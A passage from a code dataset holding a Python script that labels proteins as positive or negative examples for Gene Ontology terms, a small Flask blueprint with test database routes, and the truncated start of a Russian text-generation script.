{data['name']: id_ for id_, data in graph.nodes(data=True)}\n goid_to_category = {} \n print(\"\\t%d nodes, %d edges\" % (graph.number_of_nodes(),graph.number_of_edges()))\n\n # make sure this really is a DAG\n if nx.is_directed_acyclic_graph(graph) is False:\n print(\"\\tWarning: graph is not a dag\")\n\n # copied this section from cell 19 of https://github.com/IGACAT/DataPreprocessing/blob/master/scripts/populate_go_terms.ipynb\n # Extract all edges with \"is_a\" relationship.\n # I did not include \"part_of\" relationships because the molecular_function and biological_process DAGs are not separate from each other if I do\n is_a_edge_list = []\n for child, parent, key in graph.out_edges(keys=True):\n if key == 'is_a':\n is_a_edge_list.append((child, parent))\n\n # get a is_a-type edge-induced subgraph \n is_a_subG = nx.MultiDiGraph(is_a_edge_list)\n full_to_category = {'cellular_component': 'C', 'biological_process': 'P', 'molecular_function' : 'F'}\n go_dags = {}\n # there are 3 weakly_connected_components. One for each category\n for wcc in nx.weakly_connected_components(is_a_subG):\n G = is_a_subG.subgraph(wcc)\n\n # store this DAG in the dictionary of GO DAGs\n # find the root node \n root_node = None # find root_node (no out_edge) \n for node in G.nodes():\n if G.out_degree(node) == 0:\n root_node = node\n #print(root_node, id_to_name[node])\n break\n c = full_to_category[id_to_name[root_node]]\n print(\"\\tDAG for %s has %d nodes\" % (id_to_name[root_node], len(wcc)))\n go_dags[c] = G\n\n # also set the category for each GO term\n for n in G.nodes():\n goid_to_category[n] = c\n\n return go_dags\n\n\ndef parse_gaf_file(gaf_file, pos_neg_ec=[], rem_neg_ec=[], ignore_ec=[]):\n \"\"\"\n Parse a GAF file containing direct annotations (i.e. annotations have not been propogated up the GO DAG)\n\n Calls the function setup_evidence_code_categories() to assign each evidence code \n to either the *pos_neg_ec* set, *rem_neg_ec* set, or the *ignore_ec* set. See that function\n for more description\n\n Returns:\n *prot_goids_by_c*: for each category ('C', 'F', or 'P'), \n contains the set of GO term IDs to which each protein is annotated (*pos_neg_ec* codes)\n *goid_prots*: contains the set of proteins annotated to each GO term ID (*pos_neg_ec* codes)\n *goid_rem_neg_prots*: contains the set of proteins annotated to each GO term ID (*rem_neg_ec* codes)\n *all_prots*: all proteins. Used to assign unknowns\n \"\"\"\n\n print(\"Setting up evidence code categories\")\n pos_neg_ec, rem_neg_ec, ignore_ec = setup_evidence_code_categories(pos_neg_ec, rem_neg_ec, ignore_ec)\n\n print(\"Reading annotations from GAF file %s.\" % (gaf_file))\n\n # dictionary with key: uniprotID, val: set of goterm IDs annotated to the protein\n # split by hierarchy/category so we can just pass a given categories's annotations when defining negatives\n prot_goids_by_c = {\"C\": defaultdict(set), \"F\": defaultdict(set), \"P\": defaultdict(set)}\n # dictionary with key: goterm ID, val: set of proteins annotated to the goterm ID \n goid_prots = defaultdict(set)\n goid_rem_neg_prots = defaultdict(set)\n all_prots = set()\n num_not_ann = 0\n num_pos_neg_ann = 0\n num_rem_neg_ann = 0\n num_ignored_ann = 0 \n\n # if they pass in a GAF file:\n with open(gaf_file, 'r') as f:\n for line in f:\n cols = line.rstrip().split('\\t')\n prot = cols[1]\n all_prots.add(prot)\n goid = cols[4]\n evidence_code = cols[6]\n category = cols[8]\n # for now, ignore cellular component annotations\n if category == \"C\":\n continue\n # skip NOT annotations for now\n if \"NOT\" in cols[3]:\n num_not_ann += 1 \n continue\n\n if evidence_code in ignore_ec:\n num_ignored_ann += 1\n elif evidence_code in pos_neg_ec:\n num_pos_neg_ann += 1\n prot_goids_by_c[category][prot].add(goid)\n goid_prots[goid].add(prot) \n elif evidence_code in rem_neg_ec:\n num_rem_neg_ann += 1\n goid_rem_neg_prots[goid].add(prot)\n else:\n print(\"WARNING: evidence_code '%s' not recognized\" % (evidence_code))\n\n print(\"\\t%d NOT annotations ignored\" % (num_not_ann)) \n print(\"\\t%d \\\"pos_neg_ec\\\" annotations\" % (num_pos_neg_ann))\n print(\"\\t%d \\\"rem_neg_ec\\\" annotations\" % (num_rem_neg_ann))\n print(\"\\t%d \\\"ignore_ec\\\" annotations\" % (num_ignored_ann))\n print(\"\\t%d proteins have 1 or more BP annotations\" % (len(prot_goids_by_c[\"P\"])))\n print(\"\\t%d proteins have 1 or more MF annotations\" % (len(prot_goids_by_c[\"F\"])))\n\n return prot_goids_by_c, goid_prots, goid_rem_neg_prots, all_prots\n\n\ndef setup_evidence_code_categories(pos_neg_ec=[], rem_neg_ec=[], ignore_ec=[]):\n \"\"\"\n Assigns each evidence code to either the *pos_neg_ec*, *rem_neg_ec*, or the *ignore_ec* set\n *pos_neg_ec*: a list of GO evidence codes used to assign positive and negative examples.\n If none are specified, all evidence codes not in the two other categories will be put in this category by default.\n *rem_neg_ec*: a list of GO evidence codes used to remove negative examples.\n Specifically, If a protein would be labelled as a negative example for a given term \n but is annotated with a \"rem_neg\" evidence code for the term, it is instead labelled as unknown.\n If none are specified, but \"pos_neg_ec\" codes are given, \n all codes not in the other two categories will be put in this category by default.\n *ignore_ec*: a list of GO evidence codes to ignore completely when parsing the GAF file.\n If both --pos-neg-ec and --rem-neg-ec codes are given, everything else will be ignored by default.\n ND is always ignored.\n\n *returns*: *pos_neg_ec*, *rem_neg_ec*, *ignore_ec* \n \"\"\"\n # the ND annotation means there is no data available for this protein. \n # more information about the ND annotation is available here: http://geneontology.org/page/nd-no-biological-data-available\n if \"ND\" not in ignore_ec:\n print(\"\\tIngoring the evidence code 'ND' because it means there is no data available for this protein\")\n ignore_ec.append(\"ND\")\n\n # set the positive codes to all of them by default\n # use lists instead of sets here to keep the original order\n if len(pos_neg_ec) == 0:\n # don't use sets to keep the order of the codes\n pos_neg_ec = [c for c in ALL_EVIDENCE_CODES\n if c not in rem_neg_ec and\n c not in ignore_ec]\n #pos_neg_ec = set(ALL_EVIDENCE_CODES).difference(set(rem_neg_ec)) \\\n # .difference(set(ignore_ec))\n # if 1 or more positive evidence codes are given, but no non-negative codes are given,\n # set the rest of the codes to be non-negative by default\n elif len(rem_neg_ec) == 0:\n rem_neg_ec = [c for c in ALL_EVIDENCE_CODES\n if c not in pos_neg_ec and\n c not in ignore_ec]\n # if 1 or more positive and 1 or more non-negative codes are given,\n # set the rest to be ignored by default\n else:\n ignore_ec = [c for c in ALL_EVIDENCE_CODES\n if c not in pos_neg_ec and\n c not in rem_neg_ec]\n\n print()\n print(\"pos_neg_ec (used to assign positive and negative examples):\" +\n \"\\n\\t'%s'\" % (\"','\".join(pos_neg_ec))) \n print(\"rem_neg_ec (used to remove negative examples):\" +\n \"\\n\\t'%s'\" % (\"','\".join(rem_neg_ec))) \n print(\"ignore_ec (ignored completely when assigning examples):\" +\n \"\\n\\t'%s'\" % (\"','\".join(ignore_ec)))\n print()\n\n # make sure the sets are non-overlapping\n if len(set(pos_neg_ec).intersection(set(rem_neg_ec))) != 0 or \\\n len(set(pos_neg_ec).intersection(set(ignore_ec))) != 0 or \\\n len(set(rem_neg_ec).intersection(set(ignore_ec))) != 0:\n sys.stderr.write(\"ERROR: the three sets are not disjoint. \" +\n \"Please ensure the three input sets have no overlapping evidence codes.\\n\")\n sys.exit(1)\n\n return pos_neg_ec, rem_neg_ec, ignore_ec\n\n\ndef extract_high_freq_goterms(G, goids, annotated_prots, cutoff=1000):\n \"\"\"\n *G*: GO DAG (networkx DiGraph) with prot->goid edges for each protein's annotations\n returns a set of GO terms with > cutoff proteins annotated to it \n \"\"\"\n high_freq_go_terms = set() \n for goid in tqdm(goids):\n anc = nx.ancestors(G, goid)\n # the number of positive annotations for this GO term is the number of proteins that can reach this GO term ID in the gene-goid graph\n # meaning the number of proteins annotated to this term plus those annotated to an ancestral, more specific term\n if len(anc.intersection(annotated_prots)) > cutoff:\n high_freq_go_terms.add(goid) \n\n return high_freq_go_terms\n\n\ndef build_gene_goterm_graph(go_dag, goid_prots):\n \"\"\"\n For every protein, add an edge from the protein to the GO term IDs to which it's annotated\n *go_dag*: networkx DiGraph DAG containing the is_a edges in the GO DAG \n *goid_prots*: contains the set of proteins annotated to each GO term ID\n\n *returns*: the resulting gene-goterm graph (networkx DiGraph), and the graph reversed.\n \"\"\"\n\n G = nx.DiGraph()\n G.add_edges_from(go_dag.edges())\n\n # revG is a copy of the annotation graph G with the GO DAG reversed\n revG = nx.reverse(G, copy=True)\n\n # set all of the current nodes as goids\n #nx.set_node_attributes(G, 'goid', 'type')\n\n # For every GO term ID, add an edge in the graph from the proteins annotated to the GO term ID, to the GO term ID\n # This graph allows us to get all of the proteins annotated to descendants (more specific terms) of a term\n for goid in go_dag.nodes():\n for prot in goid_prots[goid]:\n # add an edge from the protein to the GO term its annotated to\n G.add_edge(prot, goid)\n revG.add_edge(prot, goid)\n\n print(\"\\t%d nodes, %d edges\" % (G.number_of_nodes(),G.number_of_edges()))\n\n return G, revG\n\n\ndef assign_pos_neg(goid, G, revG, annotated_prots, rem_negG=None):\n \"\"\"\n This function assigns the set of positive and negative proteins for a given GO term ID.\n Specifically, for the given GO term t, we define a gene/protein g as a \n - positive if g is directly annotated to t or to a descendant of t (more specific term) in the GO DAG\n - negative if g is not annotated to t or an ancestor or descendant of t in the GO DAG, but also has at least 1 other annotation\n - unknown if g is neither a positive nor a negative meaning it has no annotations, \n or is annotated to an ancestor of t (more general term) in the GO DAG\n\n Parameters:\n *goid*: GO term for which to assign positives and negatives\n *G*: GO DAG with prot->goid edges for each protein's annotations\n *revG*: reverse of G. Used to find all of the proteins annotated to descendant or less-specific GO terms \n *annotated_prots*: all proteins with at least one direct annotation (in the GO category of the given GO term). \n Used to assign negatives and get the protein nodes from G and revG\n *rem_negG*: version of the annotation graph G which contains the rem_neg_ec annotations to remove negative examples\n\n Returns:\n *positives*: the set of proteins labelled as positives\n *negatives*: the set of proteins labelled as negatives \n \"\"\"\n\n # positives are all of the proteins can reach this GO term.\n positives = set(nx.ancestors(G, goid)).intersection(annotated_prots)\n # proteins that can be reached from this term are unknowns \n unknowns = set(nx.ancestors(revG, goid)).intersection(annotated_prots)\n ## if this node is directly annotated to the term, it's a positive\n #unknowns.difference_update(positives)\n\n if rem_negG is not None:\n # if the protein is annotated to the term, or a more specific term, with a non-negative (remove negative) evidence code,\n # don't use it as a negative\n rem_negs = set(nx.ancestors(rem_negG, goid)).intersection(annotated_prots)\n unknowns.update(rem_negs)\n\n # negatives are all of the proteins with an annotation that are not an ancestor, or descendant \n negatives = annotated_prots.difference(positives) \\\n .difference(unknowns)\n\n return positives, negatives\n\n\ndef assign_all_pos_neg(high_freq_goids, G, revG, annotated_prots, all_prots, rem_negG=None, verbose=False):\n \"\"\"\n Assigns each gene as a positive/negative/unknown example for each GO term. \n\n Parameters: \n *high_freq_goids*: goids for which to get positives and negatives. Should all belong to a single category\n *G*: annotation graph\n *revG*: annotation graph with GO DAG reversed\n *annotated_prots*: all proteins with a direct annotation (in the GO category of the high_freq_goids). Used to assign negatives\n *all_prots*: all proteins. Used to assign unknowns\n *rem_negG*: version of the annotation graph G which contains the rem_neg_ec annotations to remove negative examples\n *verbose*: print the # of positives, negatives and unknowns for each GO term\n\n Returns:\n *goid_pos*: dictionary of a set of positive examples for each GO term\n *goid_neg*: dictionary of a set of negative examples for each GO term\n *goid_unk*: dictionary of a set of unknown examples for each GO term\n \"\"\"\n global id_to_name, name_to_id\n\n print(\"Getting positives and negatives for %d GO terms\" % (len(high_freq_goids)))\n\n # dictionaries containing the set of positives and negatives respectively for each GO term ID\n goid_pos = {}\n goid_neg = {}\n goid_unk = {}\n # for each GO term, get the set of positives and the set of negatives, and store them in a dictionary\n for goid in tqdm(sorted(high_freq_goids)):\n positives, negatives = assign_pos_neg(goid, G, revG, annotated_prots, rem_negG=rem_negG)\n goid_pos[goid] = positives\n goid_neg[goid] = negatives\n goid_unk[goid] = all_prots.difference(positives).difference(negatives) \n if verbose is True:\n tqdm.write(\"\\t%d positives, %d negatives, %d unknowns for %s (%s)\" % (len(positives), len(negatives), len(goid_unk[goid]), id_to_name[goid], goid))\n\n return goid_pos, goid_neg, goid_unk\n\n\ndef build_pos_neg_table(high_freq_goids, goid_pos, goid_neg, goid_unk, summary_only=False):\n \"\"\"\n Builds a table with a positive/negative/unknown (1/-1/0) assignment for each gene-GO term pair. \n Rows are the genes and columns are the given high_freq_goids (GO terms with > cutoff proteins annotated) \n\n Parameters: \n *high_freq_goids*: goids for which to get positives and negatives. Should all belong to a single category\n *goid_pos*: positive examples for each GO term\n *goid_neg*: negative examples for each GO term\n *goid_unk*: unknown examples for each GO term\n *summary_only*: build and return only the summary table\n\n Returns:\n *df*: the table as a pandas DataFrame \n *df_summary*: a table containing the # of positive, negative and unknown examples for each GO term\n \"\"\"\n global id_to_name, name_to_id, goid_to_category\n\n if summary_only is False:\n print(\"Building a table with positive/negative/unknown assignments for each protein-goterm pair\")\n # build a table with the first column being the genes, and a column for each of the terms with > cutoff annotations indicating 1/-1/0 assignment for each gene\n pos_neg_table = defaultdict(dict)\n # build a double dictionary with either 1, -1 or 0 for each GO term protein pair\n # TODO there must be a better pandas method to construct the table\n for goid in tqdm(high_freq_goids):\n for prot in goid_pos[goid]:\n pos_neg_table[goid][prot] = 1\n for prot in goid_neg[goid]:\n pos_neg_table[goid][prot] = -1\n # unknowns are everything that is not a positive or negative\n for prot in goid_unk[goid]:\n pos_neg_table[goid][prot] = 0\n\n df = pd.DataFrame(pos_neg_table)\n\n df_summary = pd.DataFrame({\n \"GO term name\": {goid: id_to_name[goid] for goid in high_freq_goids},\n \"GO category\": {goid: goid_to_category[goid] for goid in high_freq_goids},\n \"# positive examples\": {goid: len(pos) for goid, pos in goid_pos.items()}, \n \"# negative examples\": {goid: len(neg) for goid, neg in goid_neg.items()}, \n \"# unknown examples\": {goid: len(unk) for goid, unk in goid_unk.items()}\n })\n # set the order of the columns\n cols = [\"GO term name\", \"GO category\", \"# positive examples\", \"# negative examples\", \"# unknown examples\"]\n df_summary = df_summary[cols] \n df_summary.index.rename(\"GO term\", inplace=True)\n\n if summary_only is False:\n return df, df_summary\n else:\n return df_summary\n\n\ndef main(obo_file, gaf_file, out_pref, cutoff=1000, write_table=False,\n pos_neg_ec=[], rem_neg_ec=[], ignore_ec=[]):\n # first parse the gaf and obo files\n direct_prot_goids_by_c, direct_goid_prots, direct_goid_rem_neg_prots, all_prots = parse_gaf_file(\n gaf_file, pos_neg_ec, rem_neg_ec, ignore_ec)\n go_dags = parse_obo_file_and_build_dags(obo_file)\n\n # keep track of the summary stats for each category, and combine them into one table in the end\n df_summaries = pd.DataFrame()\n\n # assign the positives, negatives and unknowns for biological process and molecular function\n for c in [\"P\", \"F\"]:\n print(\"Category: %s\" % (c))\n print(\"Building the gene-goterm graph\")\n G, revG = build_gene_goterm_graph(go_dags[c], direct_goid_prots)\n rem_negG = None\n if len(direct_goid_rem_neg_prots) > 0:\n # the remove-negative annotations also need to be be propagated, so build an annotation graph for them here\n rem_negG, rem_neg_revG = build_gene_goterm_graph(go_dags[c], direct_goid_rem_neg_prots)\n #print(\"# of prots with at least 1 %s annotation: %d\" % (c, len(prot_goids)))\n #print(\"# of %s GO terms with at 1 protein annotated to it: %d\" % (c, len(goid_prots)))\n\n print(\"Extracting GO terms with > %d annotations\" % (cutoff))\n annotated_prots = set(direct_prot_goids_by_c[c].keys())\n high_freq_goids = extract_high_freq_goterms(G, go_dags[c].nodes(), annotated_prots, cutoff=cutoff)\n # also remove biological process, cellular component and molecular function\n high_freq_goids.difference_update(set([name_to_id[name] for name in [\"cellular_component\", \"biological_process\", \"molecular_function\"]]))\n print(\"\\t%d (out of %d) GO terms have > %d proteins annotated to them\" % (len(high_freq_goids), go_dags[c].number_of_nodes(), cutoff))\n\n # keep track of the set of proteins with at least 1 annotation in this category to assign negatives later\n goid_pos, goid_neg, goid_unk = assign_all_pos_neg(high_freq_goids, G, revG, annotated_prots, all_prots, rem_negG=rem_negG)\n\n # now write it to a file\n category = {\"C\": \"cc\", \"P\": \"bp\", \"F\": \"mf\"}\n if write_table is True:\n # build a table containing a positive/negative/unknown assignment for each protein-goterm pair\n df, df_summary = build_pos_neg_table(high_freq_goids, goid_pos, goid_neg, goid_unk)\n # combine the summary stats for all categories into one table\n df_summaries = pd.concat([df_summaries, df_summary])\n\n out_file = \"%spos-neg-%s-%d.tsv\" % (out_pref, category[c], cutoff)\n print(\"Writing table containing positive/negative/unknown assignments to %s\" % (out_file))\n df.to_csv(out_file, sep=\"\\t\")\n else:\n # build a summary table of the pos/neg/unk assignments\n df_summary = build_pos_neg_table(high_freq_goids, goid_pos, goid_neg, goid_unk, summary_only=True)\n # combine the summary stats for all categories into one table\n df_summaries = pd.concat([df_summaries, df_summary])\n out_file = \"%spos-neg-%s-%d-list.tsv\" % (out_pref, category[c], cutoff)\n print(\"Writing file containing positive/negative assignments to %s\" % (out_file))\n with open(out_file, 'w') as out:\n out.write(\"#goid\\tpos/neg assignment\\tprots\\n\")\n for goid in high_freq_goids:\n out.write(\"%s\\t1\\t%s\\n\" % (goid, ','.join(goid_pos[goid])))\n out.write(\"%s\\t-1\\t%s\\n\" % (goid, ','.join(goid_neg[goid])))\n\n output_summary_file = \"%spos-neg-%d-summary-stats.tsv\" % (out_pref, cutoff)\n # maybe make this into an option later instead of always writing it\n #if output_summary_file is not None:\n print(\"Writing summary table of # of positive, negative and unknown examples for each GO term to: %s\" % (output_summary_file))\n df_summaries.to_csv(output_summary_file, sep='\\t')\n\n\ndef parse_args(args):\n ## Parse command line args.\n description = \"\"\"\nThis script takes the annotations in a GAF file, and the GO DAG and assigns \nevery gene as either a positive (1), negative (-1) or unknown (0) for each GO term with > cutoff annotations.\nWrites two tab-separated tables containing the assignments, one for BP and one for MF, where the rows are genes, \nand the columns are GO term IDs. Also writes a summary statistics table\n\"\"\"\n usage = '%prog [options] '\n parser = OptionParser(usage=usage, description=description)\n parser.add_option('-g', '--gaf-file', type='string',\n help=\"File containing GO annotations in GAF format. Required\")\n parser.add_option('-b', '--obo-file', type='string', \n help=\"GO OBO file which contains the GO DAG. Required\")\n #parser.add_option('-n', '--negatives', type='string', default='non-ancestral',\n # help=\"Types of negatives to generate. Options are: '%s'. Default = 'non-ancestral', See the README file for descriptions of these options.\" % (\"', '\".join(NEGATIVES_OPTIONS)))\n parser.add_option('-c', '--cutoff', type='int', default=1000,\n help=\"GO terms having > cutoff positive instances (proteins) are kept. Default=1000\")\n parser.add_option('-o', '--out-pref', type='string', \n help=\"Prefix used to write a table of positives, negatives, and unknowns for each GO category.\" +\n \"Writes an output file for BP and MF: pos-neg--P.tsv and pos-neg--F.tsv\")\n # writing the big pos/neg/unk assignment matrix is taking too long. \n # instead, write the pos/neg prots for each GO term to a file\n parser.add_option('', '--write-table', action='store_true', default=False,\n help=\"write the pos/neg/unk assignments to a table rather than the default comma-separated list of prots\")\n parser.add_option('', '--pos-neg-ec', type='string',\n help=\"Comma-separated list of evidence codes used to assign positive and negative examples. \" +\n \"If none are specified, all codes not in the two other categories \" + \n \"(--rem-neg-ec and --ignore-ec) will be used by default.\")\n parser.add_option('', '--rem-neg-ec', type='string',\n help=\"Comma-separated list of evidence codes used to remove negative examples. \" + \n \"Specifically, If a protein would be labelled as a negative example for a given term \" + \n \"but is annotated with a 'rem_neg' evidence code for the term, it is instead labelled as unknown. \" +\n \"If none are specified, but --pos-neg-ec codes are given, \" +\n \"all codes not in the other two categories will be put in this category by default.\")\n parser.add_option('', '--ignore-ec', type='string',\n help=\"Comma-separated list of evidence codes where annotations with the specified codes will be ignored when parsing the GAF file. \" +\n \"For example, specifying 'IEA' will skip all annotations with an evidence code 'IEA'. \" +\n \"If both --pos-neg-ec and --rem-neg-ec codes are given, everything else will be ignored by default.\")\n\n (opts, args) = parser.parse_args(args)\n\n if opts.gaf_file is None or opts.obo_file is None or opts.out_pref is None:\n parser.print_help()\n sys.exit(\"\\n--gaf-file (-g), --obo-file (-b), and --out-pref (-o) are required\")\n\n # make sure all of the specified codes are actually GO evidence codes\n codes = []\n for codes_option in [opts.pos_neg_ec, opts.rem_neg_ec, opts.ignore_ec]:\n if codes_option is not None:\n codes += codes_option.split(',')\n non_evidence_codes = set(codes).difference(set(ALL_EVIDENCE_CODES))\n if len(non_evidence_codes) > 0:\n sys.stderr.write(\"ERROR: the specified code(s) are not GO evidence codes: '%s'\\n\" % (\"', '\".join(non_evidence_codes)))\n sys.stderr.write(\"Accepted evidence codes: '%s'\\n\" % (\"', '\".join(ALL_EVIDENCE_CODES)))\n sys.exit(1)\n\n # check if the output prefix is writeable\n out_dir = os.path.dirname(opts.out_pref)\n if not os.path.isdir(out_dir):\n sys.stderr.write(\"ERROR: output directory %s specified by --out-pref doesn't exist\\n\" % (out_dir))\n sys.exit(1)\n\n return opts, args\n\n\nif __name__ == \"__main__\":\n print(\"Running %s\" % (' '.join(sys.argv)))\n opts, args = parse_args(sys.argv)\n pos_neg_ec = [] if opts.pos_neg_ec is None else opts.pos_neg_ec.split(',') \n rem_neg_ec = [] if opts.rem_neg_ec is None else opts.rem_neg_ec.split(',') \n ignore_ec = [] if opts.ignore_ec is None else opts.ignore_ec.split(',') \n main(opts.obo_file, opts.gaf_file, opts.out_pref, cutoff=opts.cutoff, write_table=opts.write_table,\n pos_neg_ec=pos_neg_ec, rem_neg_ec=rem_neg_ec, ignore_ec=ignore_ec)\n", "sub_path": "src/igacat/go_term_prediction_examples/go_term_prediction_examples.py", "file_name": "go_term_prediction_examples.py", "file_ext": "py", "file_size_in_byte": 27573, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "obonet.read_obo", "line_number": 31, "usage_type": "call"}, {"api_name": "networkx.is_directed_acyclic_graph", "line_number": 39, "usage_type": "call"}, {"api_name": "networkx.MultiDiGraph", "line_number": 51, "usage_type": "call"}, {"api_name": "networkx.weakly_connected_components", "line_number": 55, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 100, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 102, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 206, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 206, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 208, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 219, "usage_type": "call"}, {"api_name": "networkx.ancestors", "line_number": 220, "usage_type": "call"}, {"api_name": "networkx.DiGraph", "line_number": 238, "usage_type": "call"}, {"api_name": "networkx.reverse", "line_number": 242, "usage_type": "call"}, {"api_name": "networkx.ancestors", "line_number": 283, "usage_type": "call"}, {"api_name": "networkx.ancestors", "line_number": 285, "usage_type": "call"}, {"api_name": "networkx.ancestors", "line_number": 292, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 329, "usage_type": "call"}, {"api_name": "tqdm.tqdm.write", "line_number": 335, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 335, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 361, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 364, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 373, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 375, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 401, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 431, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 440, "usage_type": "call"}, {"api_name": "optparse.OptionParser", "line_number": 465, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 500, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 509, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 509, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 510, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 510, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 511, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 514, "usage_type": "call"}, {"api_name": "os.path", "line_number": 514, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 515, "usage_type": "call"}, {"api_name": "os.path", "line_number": 515, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 516, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 516, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 517, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 523, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 524, "usage_type": "attribute"}]} +{"seq_id": "557880080", "text": "from flask import Blueprint, render_template, url_for\nfrom flask import current_app as app\nfrom app.database import CursorFromConnectionPool\n\n#### ROBIDEX\nfrom sqlalchemy.sql import text, select\nfrom app.extensions import db\n\n### trying with straight psycopg2\n\n# 2.0 takes in arguments: variable=Blueprint('BlueprintName', __name__, etc....)\nbpill = Blueprint('bluepill', __name__, template_folder='templates', static_folder='static')\n\n@bpill.route('/')\ndef bluepillhome():\n return render_template('bluepill/index.html')\n\n@bpill.route('/test')\ndef test():\n \"\"\" blah blah\"\"\"\n return render_template('bluepill/index.html')\n\n@bpill.route('/database')\ndef db_test():\n list_status = ['Manhattan','Brooklyn','Queens','Bronx','Staten Island']\n default='Manhattan'\n with CursorFromConnectionPool() as cursor:\n cursor.execute(\"SELECT * FROM man_matview WHERE boro='1' AND block::numeric<=20\")\n fetched = cursor.fetchall()\n # if list_status = 'Manhattan':\n # cursor.execute(\"SELECT * FROM man_matview WHERE boro='1' AND block::numeric<=20\")\n # fetched = cursor.fetchall()\n # if list_status='Brooklyn':\n # cursor.execute(\"SELECT * FROM bk_matview WHERE boro='2' AND block::numeric<=20\")\n # fetched = cursor.fetchall()\n # return cls(boro=fetched[0], block=fetched[1], lot=fetched[2], buil_num=fetched[5], street_name=fetched[6])\n # return (boro=fetched[0], block=fetched[1])\n return render_template('bluepill/db_tests.html', list_status=list_status, default=default, fetched=fetched)\n # return render_template('bluepill/db_test.html', fetched=fetched, boro=boro)\n\n\n\"\"\" sqlalchemy.exc.ProgrammingError: (psycopg2.errors.UndefinedTable) relation \"man_matview\" does not exist\nLINE 1: SELECT * FROM man_matview WHERE boro='1' AND block='10' \nCreate Engine from scratch and pull data without \"\"\"\n# @bpill.route('/database')\n# def db_test():\n# sqltest = text(\n# \"SELECT * FROM man_matview WHERE boro='1' AND block='10'\"\n# )\n# db.session.execute(sqltest)\n# return render_template('bluepill.db_test.html',testdata=testdata, boro=boro, block=block, lot=lot, str_name=str_name)\n\n\n\n\n# @bpill.route('/database')\n# def db_test():\n# # sqltest = text(\n# # \"SELECT * FROM man_matview WHERE boro='1' AND block='10'\"\n# # )\n# with CursorFromConnectionPool as cursor:\n# cursor.execute(\"SELECT * FROM man_matview WHERE boro='1' AND block='10'\")\n# test_data=cursor.fetchall()\n# return cls(boro=test_data[1], block=test_data[2], lot=test_data[3], str_name=test_data[6])\n# return render_template('bluepill.db_test.html',testdata=testdata, boro=boro, block=block, lot=lot, str_name=str_name)\n\n# @app.route(\"/markup\")\n# def markup():\n# return Markup(\"

    Returned h1 Markup

    \")\n\n# # Need to work on JSON response. Check out \"Routing w/ Flask\"\n# @app.route(\"/makeresponse\", methods=['GET'])\n# def makeit():\n# if request.method != 'GET':\n# return make_response('Malformed request', 400)\n# my_dict = {'key': 'dictionary value'}\n# headers = {\"Content-Type\": \"application/json\"}\n# return make_response(jsonify(my_dict), 200, headers=headers)", "sub_path": "myapp/app/blueprints/bluepill/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3212, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask.Blueprint", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 21, "usage_type": "call"}, {"api_name": "app.database.CursorFromConnectionPool", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 38, "usage_type": "call"}]} +{"seq_id": "336989036", "text": "import os\nimport time\nimport gensim\nimport pymorphy2\nimport numpy as np\nimport tensorflow as tf\nfrom keras_preprocessing.text import Tokenizer\nimport argparse\n\nparser = argparse.ArgumentParser(description='Generating sentences v0.01')\nparser.add_argument('word', metavar='word_to_predict', type=str, nargs='+',\n help='an integer for the accumulator')\nargs = parser.parse_args()\npredict_word = \"мишка\"\nprint(\"ARGS: %s\" %(args))\nif args.word:\n predict_word = args.word[0]\n\ntf.enable_eager_execution()\nfile_path = \"/home/neuron/dataset/small_linux.txt\"\nfile_path = \"G:\\\\New folder\\\\month-2011-12-qtraf_small\"\n\nload_word2vec_path = \"/home/neuron/dataset/model.bin\"\nload_word2vec_path = \"G:\\\\New folder\\\\ruwikiruscorpora_tokens_elmo_1024_2019\\\\ruwikiruscorpora_upos_skipgram_300_2_2019\\\\model.bin\"\n\n#Now we load \nmodel = gensim.models.KeyedVectors.load_word2vec_format(load_word2vec_path, binary=True)\nmodel.init_sims(replace=True)\nmorph = pymorphy2.MorphAnalyzer()\ncotags = {\n 'ADJF':'ADJ', # pymorphy2: word2vec \n 'ADJS' : 'ADJ', \n 'ADVB' : 'ADV', \n 'COMP' : 'ADV', \n 'GRND' : 'VERB', \n 'INFN' : 'VERB', \n 'NOUN' : 'NOUN', \n 'PRED' : 'ADV', \n 'PRTF' : 'ADJ', \n 'PRTS' : 'VERB', \n 'VERB' : 'VERB'\n}\n\ntext = open(file_path).read()\n \ntokenizer = Tokenizer()\ntokenizer.fit_on_texts([text])\n \nencoded = tokenizer.texts_to_sequences([text])[0]\n \nvocab_size = len(tokenizer.word_index) + 1\n \nword2idx = tokenizer.word_index\nidx2word = tokenizer.index_word\n\nsequences = list()\n\nfor i in range(1, len(encoded)):\n sequence = encoded[i - 1:i + 